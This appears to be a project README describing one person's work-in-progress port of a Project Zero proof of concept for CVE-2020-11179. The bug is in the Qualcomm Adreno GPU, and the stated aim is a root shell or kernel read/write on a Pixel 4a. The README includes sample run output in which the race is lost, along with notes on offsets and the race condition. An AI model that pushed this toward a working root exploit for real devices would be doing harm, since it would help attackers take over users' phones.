My independent work from the poc created by P0 researcher Ben Hawkes
Original article: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

My goal is to convert his poc to C, and continue where he left off and turn the poc into either a root shell,
or a kernel r/w, and then change the system somehow to show kernel exec.

most likely, offset to ttbr0 is different on my test phone
needs to be calculated and debugged to find offset

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

test device: pixel 4a
android 10 on build QD4A.2000317.027

TODO:

work on context switch and race condition
to achieve kernel code exec

인기

CVE-2020-11179-Adreno-Qualcomm-GPU